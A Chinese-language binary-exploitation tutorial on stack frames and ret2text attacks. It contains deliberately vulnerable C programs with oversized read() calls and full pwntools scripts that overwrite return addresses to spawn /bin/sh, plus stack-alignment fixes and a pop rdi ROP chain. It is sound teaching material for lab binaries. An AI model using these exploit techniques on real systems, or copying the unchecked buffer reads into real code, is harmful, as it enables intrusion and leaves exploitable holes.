栈溢出基础
栈栈栈,玄又玄,
生而无物用时现,自高走低为哪般,
无用数据随意弃不想耗资源,
谁又知阴沟里也能翻大船
32 位函数调用栈
我们有如下 C 代码,及其对应汇编代码:
每一个函数均有对应的栈帧,bp
栈底指针寄存器与 sp
栈顶指针寄存器所共同限定的内存区域随着 ip
指令指针寄存器所在栈帧的变化而变化,该区域即程序当前所处的函数栈帧。这一操作,使得函数执行过程中各种指令操作被限定在栈帧中,具有局部性,不会污染到其他函数的栈数据。程序执行流进行到函数入口处时,当前 ebp
栈底指针的地址(ebp of caller)入栈,保存父函数的栈帧信息,以便函数返回后可以回溯到其调用前的堆栈状态。
ebp
指针从父函数栈底移到 esp
所指的父函数栈顶,构建新的函数栈帧,进行函数的指令执行流。特别地,实际中当指令执行的时候,EIP 已移动到下一行。
esp
自减 4 个字长,开辟栈空间,用于存储局部变量 ret
以及栈对齐。
为即将调用的子函数 callee()
自右向左压入实参。PUSH 指令使 esp
自减 1 个字长,同时将压入的操作数存储在新的栈区域上。
调用子函数 callee()
,CALL 指令先将 eip
指向的地址(即 CALL 下一条指令 add esp, 0xc
)压入栈中,保存子函数的返回地址,以便子函数执行完毕跳转继续执行该函数的指令,恢复其执行流,再 JMP 到子函数的入口处,也就是等价于
push eip
jmp callee
JMP 的实质是,令 eip
指向操作数 callee
对应的地址。
跳转到子函数 callee()
继续执行,前两步依然是保存函数 caller()
的栈底指针所指向的地址,以及保存当前栈指针到基址指针,从而限定子函数的栈帧区域;随后便是子函数自身的功能实现——获取传入的实参(以 ebp
寻址),进行加法运算,将计算结果保存在 EAX 寄存器中。
子函数即将结束,根据父函数 caller()
信息,恢复父函数的栈帧,与开辟子函数栈帧的操作互逆,即从栈中弹出上一个函数 caller()
的 ebp
所指向地址到 ebp
中,POP 指令使得 esp
自增 1 个字长,指向子函数的返回地址。
此时,父函数的栈帧信息已经恢复,直接恢复程序执行流,RET 指令等价于 pop eip
,将返回地址弹出到 EIP 寄存器中,继续执行父函数 caller()
的下一条指令。需要注意到,先前子函数栈帧的数据并不会清理,而是直接废弃,下一次函数调用则直接覆盖。
为完全回溯到函数调用前的栈状态,还需要执行一次平衡栈操作,esp
上移废弃先前压入的三个实参;随后,完成 caller()
函数自身的功能,整型变量 ret
接受子函数 callee()
返回值后加 4,存入 EAX 作为 caller()
函数返回值。
父函数 caller()
即将返回,同样需要恢复其调用函数的栈帧信息,其中 LEAVE 指令等价于:
mov esp, ebp
pop ebp
这也是与开辟栈帧时操作互逆的,先将 esp
栈顶指针移到 ebp
栈底指针,废弃栈帧内数据,再 POP 调用函数的 ebp
栈底地址到 EBP 寄存器中,ebp
指向上一个函数栈帧的栈底地址,回到调用函数的栈帧格局。
同样地,恢复调用函数的执行流,POP 返回地址到 eip
中,继续执行调用函数的下一步指令。
在 32 位系统中,一个函数被调用时,会经过以下过程:
- 以栈的方式保存函数实参
- 保存子函数结束后的返回地址
- 保存父函数的栈帧信息(ebp of caller)
- 在栈上开辟空间供局部变量使用
- 实现函数自身功能
- 释放函数使用的局部变量空间
- 根据保存的父函数信息,恢复父函数栈帧
- 由保存的返回地址,恢复父函数执行流
可以得到基本的栈帧模型:
从这一过程来看:
- EBP 作为栈底确立函数栈帧的基地址,作为寻址基准获取函数运行中需要的各类数据
- ESP 作为栈顶开辟新的栈帧空间,在函数调用和返回过程中精准控制栈空间使用,废弃无用的栈数据
- EIP 指挥程序的执行流,宏观调控函数栈帧的运作
32位简单ret2text攻击
给出 C 源码:
// ret2text_easy.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[] = "/bin/sh";
int func(char *cmd) {
system(sh);
return 0;
}
int dofunc() {
char b[8] = {};
puts("input:");
read(0, b, 0x100);
return 0;
}
int main() {
dofunc();
return 0;
}
按 32 位编译:
gcc -m32 ret2text_easy.c -fno-stack-protector -no-pie -o ret2text_easy_x86
编译时如出现报错: fatal error: xxx.h: No such file or directory,则是编译环境未完善的原因所致,执行命令
apt-get install gcc-multilib
即可。
checksec
一下程序的基本信息,发现无栈溢出保护,无 PIE 保护,考虑栈溢出攻击:
拖入 IDA 静态分析,很容易发现 dofunc()
函数中存在栈溢出漏洞。ssize_t read(int fd, void *buf, size_t count)
中 fd
为文件描述符,0
代表键盘输入,buf
为接受数据的缓冲区地址,count
表示期望读取的字节数,并返回实际读取到的字节数。
只要是允许输入足够长数据的诸如 read
、gets
等输入函数,都可以作为溢出注入点。
我们知道,一个函数执行结束、恢复父函数栈帧后,将会 RET 到返回地址,恢复父函数的执行流。那么,通过栈溢出覆盖返回地址为特定地址,就可以劫持程序执行流,让程序跳转到我们想要执行的代码继续运行,而从 IDA 中可以看到后门函数 func()
存在 system
函数调用,因此我们可以将 dofunc()
函数的返回地址覆盖为 func()
的地址,从而获取到 shell,完成攻击。
进入 GDB 调试,start
运行到程序入口点暂停,ni
指令步进到 call dofunc
处 si
步入函数,发现溢出输入地址:
计算从输入地址到 ebp
的偏移 s
,通过 stack 15
查看当前栈,输入 s
个字节后刚好覆盖到上一个函数的 ebp
(指恰好尚未覆盖该地址),还需要覆盖 1 个字长即 0x4
个字节,才能覆盖到返回地址,则从输入点溢出 s + 0x4
个字符后,再输入数据修改返回地址即可。这里我们有 s = 0x10
。
也可以通过 IDA 的栈视图看出。在 dofunc()
函数反汇编代码或伪代码界面中点击对应的变量 buf
进入 Stack of dofunc 页面,返回地址的栈偏移减去 buf
的栈偏移(本质上是取绝对值相加)即可得到需要溢出的垃圾数据长度。这里我们有 0x4 - (-0x10) = 0x14
个字符需要溢出。
有如下 Python Exp 脚本:
from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './ret2text_easy_x86'
io = process(file)
system_addr = 0x8049186
padding = 0x10 + 0x4
payload = flat([b'a' * padding, system_addr])
io.sendline(payload)
io.interactive()
32位传参ret2text
system()
函数接受一个字符串,按传入的字符串执行命令,而我们获取 shell 需要提前为 system()
函数调用传入 "/bin/sh"
参数。上面例题为我们提前传入了,接下来我们研究需要手动布栈传参的情形:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[] = "/bin/sh";
int func(char *cmd) {
system(cmd);
return 0;
}
int dofunc() {
char b[8] = {};
puts("input:");
read(0, b, 0x100);
return 0;
}
int main() {
dofunc();
return 0;
}
按 32 位编译:
gcc -m32 ret2text_arg.c -fno-stack-protector -no-pie -o ret2text_arg_x86
显然我们有溢出输入点。IDA 中 Shift + F12 查看字符串,发现 /bin/sh
,点击即可追踪到其所在位置并获取到地址:
接下来需要我们手动将 /bin/sh
参数压入栈中。为确保参数能够正确传入 func()
函数中,需要遵循函数调用约定压入参数,正常程序执行 CALL 之前,会先压入参数,再 push eip
保存调用函数的执行流,最后 JMP 到被调用函数;而通过栈溢出篡改程序执行流后,程序会先将覆盖后的返回地址 POP 到 EIP 上,跳转到该地址,随后依然同正常函数调用一致,按函数调用约定获取传入的参数。对此,我们应当布栈如下:
一定要注意,根据栈帧模型,func()
地址上面应当是执行完 func()
后的返回地址(随便填入任意 8 字节的十六进制地址即可,不需要关注 system 函数后的执行流),再上方才是传入的参数。由于 payload 是从下往上覆盖的,0xdeadbeef
和 /bin/sh
地址应当在 func()
地址后依次发送,有 Python Exp 脚本如下:
from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './ret2text_arg_x86'
io = process(file)
func_addr = 0x8049186
binsh_addr = 0x804C018
padding = 0x10 + 0x4
payload = flat([b'a' * padding, func_addr, 0xdeadbeef, binsh_addr])
io.sendline(payload)
io.interactive()
限制输入数据长度的 ret2text
如果我们略微修改一下之前的传参 ret2text 的 C 源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[] = "/bbbbbbbbbbbbbbbbbbin/sh";
int func(char *cmd) {
system(cmd);
return 0;
}
int dofunc() {
char b[8] = {};
puts("input:");
read(0, b, 0x1c);
return 0;
}
int main() {
dofunc();
return 0;
}
- 全局变量
sh
添加大量干扰字符 - 限制
read()
函数的数据输入长度
按 32 位编译:
gcc -m32 ret2text_limit.c -fno-stack-protector -no-pie -o ret2text_limit_x86
Linux 系统中存在环境变量 $PATH
,本质上是一个字符串变量,当终端输入命令时会从其中记录的路径中查找对应的可执行文件。echo $PATH
即可查看 Linux 的环境变量,如下图,我们可以看到存在 /bin
目录,这意味着当我们在命令行输入 sh
时,Linux 会自动索引到对应的可执行文件路径 /bin/sh
:
因此,对于字符串变量 sh
,只需要截取其中的 "sh"
即可。在某些程序的反编译过程中,IDA 可能将原本是数据的部分当成了指令,把指令部分当成了数据,此时就需要进行手动干预,即使用 ACDU 硬编码模式:
- a:以字符串形式显示
- c:code,以代码形式显示
- d:data,以数据形式显示;使用一次快捷键 d ,变为默认 db 的形式,以一个字节为单位,再按一次则为 dw,以两个字节为单位,按第三次则为 dd,以四个字节为单位
- u:undefined,未定义的显示形式,按原始字节显示
我们在字符串 sh
上按 d 将其转换为数据形式,截取其末位两个字符:
现在还有一个问题:按照之前我们的 payload,覆盖到返回地址需要 0x14
个字节,func()
函数地址占 4 个字节,func()
函数执行完成后的返回地址 0xdeadbeef
占 4 个字节,传入字符串地址也占 4 个字节,总共需要写入 0x20
个字节,显然是大于 read()
函数允许输入的字节数 0x1c
的。
注意到,由于我们直接 RET 到 func()
函数地址,需要模拟 call func
过程中 push eip
的指令操作,因而布置了 0xdeadbeef
这一被调用函数的返回地址;如果我们直接 call system
,那么程序将自动帮我们完成 push eip
这一操作(CALL 分为两步:① PUSH EIP ② JMP 到指定操作数地址上),我们也就不需要再手动布栈了。我们找到 call system
的地址:
这样,我们就直接传入 call system
地址,后面只跟传入的截断字符串地址即可。
from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './ret2text_limit_x86'
io = process(file)
system_addr = 0x804919F
sh_addr = 0x804C02E
padding = 0x10 + 0x4
payload = flat([b'a' * padding, system_addr, sh_addr])
io.sendline(payload)
io.interactive()
64 位函数调用栈
函数调用过程与 32 位类似,但是:
- RBP、RSP、RIP、……
- 前 6 个参数用寄存器传参
- 第 7 个以后的参数存放于栈中
Register | Arguments |
---|---|
rdi | first argument |
rsi | second |
rdx | third |
rcx | forth |
r8 | fifth |
r9 | sixth |
64 位简单 ret2text 攻击
将 32 位简单 ret2text 攻击这一节给出的 C 源码按 64 位编译(一定要使用 18.04 以前的旧版本 Ubuntu 编译并运行,否则会出现栈平衡问题导致无法打通!这一问题的原理与解决方法将在下面给出),取消栈溢出保护、PIE 保护:
gcc ret2text_easy.c -fno-stack-protector -no-pie -o ret2text_easy_x64
与 32 位攻击思路类似,需要注意 64 位程序的 1 个字长等于 8 字节,覆盖父函数栈帧的 rbp
应当输入 0x8
个字符。
有如下 Python Exp 脚本:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2text_easy_x64'
io = process(file)
system_addr = 0x4005B6
padding = 0x10 + 0x8
payload = flat([b'a' * padding, system_addr])
io.sendline(payload)
io.interactive()
Ubuntu 18.04 之后的新版本打不通怎么办?
如果我们在新版本 Ubuntu 上编译程序并运行脚本:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2text_easy_x64'
io = process(file)
system_addr = 0x401176
padding = 0x8 + 0x8
payload = flat([b'a' * padding, system_addr])
io.sendline(payload)
io.interactive()
会直接 EOF 异常退出,无法正确获取到 shell 权限。对于做题时的未知问题,可以采用 GDB 附加调试的方式逐步跟进程序执行流,直到发现报错点。我们在发送 payload 之前加入如下代码,附加进程到 GDB 上调试:
gdb.attach(io) # 附加进程到 GDB
pause() # 暂停进程,确保 GDB 有足够时间附加
SSH 远程调试配置
gdb.attach
的进程附加是通过新开一个终端窗口,再 gdb attach
到对应 PID 来实现的,对于使用 SSH 服务远程连接 Linux(包括 Mac 虚拟机模拟用户,图形化界面无法正常使用,只能通过命令行操作,为了更好的命令行体验,也是推荐这么做的),Python 脚本直接执行 attach
命令会出现如下错误:
这是系统未处于 GNOME 图形化界面,无法自动创建一个新的终端窗口导致的,我们需要指定使用的终端。显然我们无法让一个终端窗口新建同级的窗口,因此可以选择支持分屏的终端复用器 tmux
。
在 Python 脚本开头的 context()
函数追加一个参数 terminal
,传入 tmux
相关配置的列表:
context(log_level='debug', arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
其中 splitw -h 两个选项将 tmux
划分为左右两个窗格。
先执行 tmux
命令进入 tmux
界面,再运行 Python 脚本即可实现分屏调试,左边窗格为 Python 运行界面,右边窗格为 GDB 主界面命令行。当然,我们需要手动新建一个 Linux 终端窗口 /dev/pts/1
以输出 pwndbg 调试信息。
GDB 调试过程
运行 Python 脚本,自动 attach 到 GDB,从函数调用 BACKTRACE 中可以看出程序暂停在 read()
函数处,输入 finish
指令步出该函数,回到 dofunc()
函数的执行流。此时若使用的是 tmux
,GDB 执行命令后会阻塞,Ctrl + B 后按左方向键切换到 Python 窗格,Enter 后 pause()
不再生效,Python 脚本继续执行,由 GDB 动态调试接管,逐一执行指令。对于一般的图形化界面调试也是一样的,切换到 Python 运行页面 Enter 后由 GDB 接管。
ni
进入 func()
函数(说明栈溢出部分没有问题)后,继续 ni
步进到调用 system()
函数处,传入参数无误:
si
步入 system()
函数,持续 ni
,直到发现阻塞点(实际上,不步入 system()
直接 ni
也会卡在阻塞点),出现段错误而无法继续运行,原因已在 pwndbg 输出的反汇编界面给出,rsp + 0x50
所指向地址未对齐到 16 字节。这便是基本的栈平衡问题。
堆栈平衡
堆栈平衡是指 Pwn 漏洞利用中,payload 需要按 16 字节栈对齐(字节数是 16 的倍数)。32 位漏洞利用中不存在堆栈平衡一说,仅在 64 位中存在。
我们知道,64 位程序的栈操作是按 8 字节(1 字长)进行,地址表示采用十六进制,其计数规则为满 16 进 1,栈地址最低位只可能为 0 或 8.
glibc 2.27
之后引入了 XMM 寄存器,用于记录程序状态,主要出现在 Ubuntu 18.04 及以后的版本,一般用于:
-
32 位和 64 位浮点数的操作
-
SIMD 指令:一条 SIMD 指令可以同时接受多个数据流,提升处理速度
-
SSE 指令
在调用 system()
函数时,会进入 do_system
执行 movaps 指令,对 XMM 寄存器进行操作,movaps 指令要求 rsp
按 16 字节对齐,否则直接抛出异常退出。这要求 rsp
地址为 16 的整数倍。从二进制角度来看,\(16=2^4\),若十六进制地址是 16 的倍数,其对应的二进制数则由某二进制数左移 4 位得到。根据位运算左移低位补 0 原则,该二进制数末 4 位为 0。又因 4 位二进制数对应 1 位十六进制数,故 16 字节对齐的栈地址最低位必为 0。
call system
或者直接 JMP 到 system()
之前,栈顶指针指向的栈地址必须对齐 16 字节,POP EIP 或者 RET 会使 rsp
指向未对齐的栈地址,但 system()
中的实现会将栈自动复位;倘若进入 system()
之前 rsp
就没有对齐,最终进行到 movaps 指令时也不会对齐。
为使 rsp
对齐16字节,核心思想就是增加或减少栈内容,使 rsp
地址能相应地增加或减少 8 字节,从而能够保证最低位为 0 ,对齐 16 字节。我们只需要进行奇数次 pop
或 push
栈操作指令(即能实质改变栈布局的指令),就能把地址以 8 结尾的 rsp
变为以 0 结尾,使其16字节对齐。
此时我们有两种方法:
其一,将覆盖的返回地址加上一个常数,使之跳过一条栈操作指令,完成奇数次栈操作,从而 16 字节对齐。这一常数有时是 1,有时会更大,一切以能否跳过栈操作指令为准。如下图,我们需要对 func()
函数入口地址 0x401176
+ 5(一条指令会占用多个字节)才能跳过一条栈操作指令:
这样,对于在高版本 64 位 Ubuntu 编译环境下运行的例题,修改 Python 脚本如下则可以顺利打通:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2text_easy_x64'
io = process(file)
system_addr = 0x401176 + 5
padding = 0x8 + 0x8
payload = flat([b'a' * padding, system_addr])
io.sendline(payload)
io.interactive()
其二,在进入 system()
函数之前增加一个 ret
指令,即在 payload 覆盖的返回地址中、想要控制执行流进入的目标地址之前多发送一个 ret
地址,也是最为常用的做法。这样的操作之下,栈顶被迫上移 8 个字节,使之对齐 16 字节,同时也将目标地址 POP 到了 RIP 上,程序依然可以顺利地进入目标函数,不会改变原本的执行流。
我们使用 ROPgadget
工具可以方便地查找到可用的 ret
地址:
ROPgadget --binary ret2text_easy_x64 --only "ret"
修改后的 Python 脚本如下:
from pwn import *
context(log_level='debug', arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
file = './ret2text_easy_x64'
io = process(file)
func_addr = 0x401176
ret_addr = 0x40101a
padding = 0x8 + 0x8
payload = flat([b'a' * padding, ret_addr, func_addr])
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()
堆栈平衡问题发生与否取决于发送 payload 的形式。我们可以通过预判调用 system()
函数之前的栈布局来推测是否会发生堆栈平衡问题。一般情况下,我们会在出现 EOF 问题时通过 GDB 附加调试排除其他问题,发现栈对齐问题并解决。
64 位传参 ret2text
我们在 32 位函数调用栈中实现了 32 位传参 ret2text,接下来继续利用那一节使用的 C 源码,使用 Ubuntu 16.04(否则会无法找到 gadget!)按 64 位编译:
gcc ret2text_arg.c -fno-stack-protector -no-pie -o ret2text_arg_x64
64 位函数传参遵循「前 6 个参数存入寄存器」的原则,那么 /bin/sh
字符串应当存入 RDI 寄存器中。显然,我们无法通过栈来更改寄存器存储的值,需要利用程序中已有的小片段(gadgets)来改变寄存器乃至变量的值,即返回导向式编程(Return Oriented Programming, ROP)。
gadgets 通常是以 ret
结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。ROP 的核心在于,利用指令集中的 ret 指令,从而通过数条 gadget 改变指令流的执行顺序。
众多 gadget 中,pop register; ret
系列指令常用于对特定寄存器赋值,分将栈上 1 字长内容 POP 到指定寄存器上、RET 维持函数正常执行调用两步执行。在此,我们需要将 /bin/sh
字符串地址赋值给 RDI 寄存器,再 RET 到 func()
函数入口处执行 system()
函数。pop rdi; ret
刚好满足我们的要求,先将 /bin/sh
地址 POP 到 RDI 中,再 RET 到 func()
地址。因此,覆盖的返回地址布栈应当是:pop rdi; ret
-> /bin/sh
-> func()
。
使用 ROPgadget
工具,查找到可用 gadget pop rdi; ret
:
同 32 位传参 ret2text 一致,IDA Shift + F12 查找 /bin/sh
字符串地址,写出如下 Python Exp 脚本:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2text_arg_x64'
io = process(file)
padding = 0x10 + 0x8
func_addr = 0x4005B6
binsh_addr = 0x601048
pop_rdi_ret = 0x400693
ret = 0x400451
payload = flat([b'a' * padding, pop_rdi_ret, binsh_addr, ret, func_addr])
io.sendline(payload)
io.interactive()
这里若出现了栈平衡问题导致打不通,直接添加一个 ret
地址即可;或者,我们可以直接定位到 call system
的地址,不再通过 func()
函数入口处调用 system()
函数,即减少了一次栈操作,自然也就 16 字节对齐了。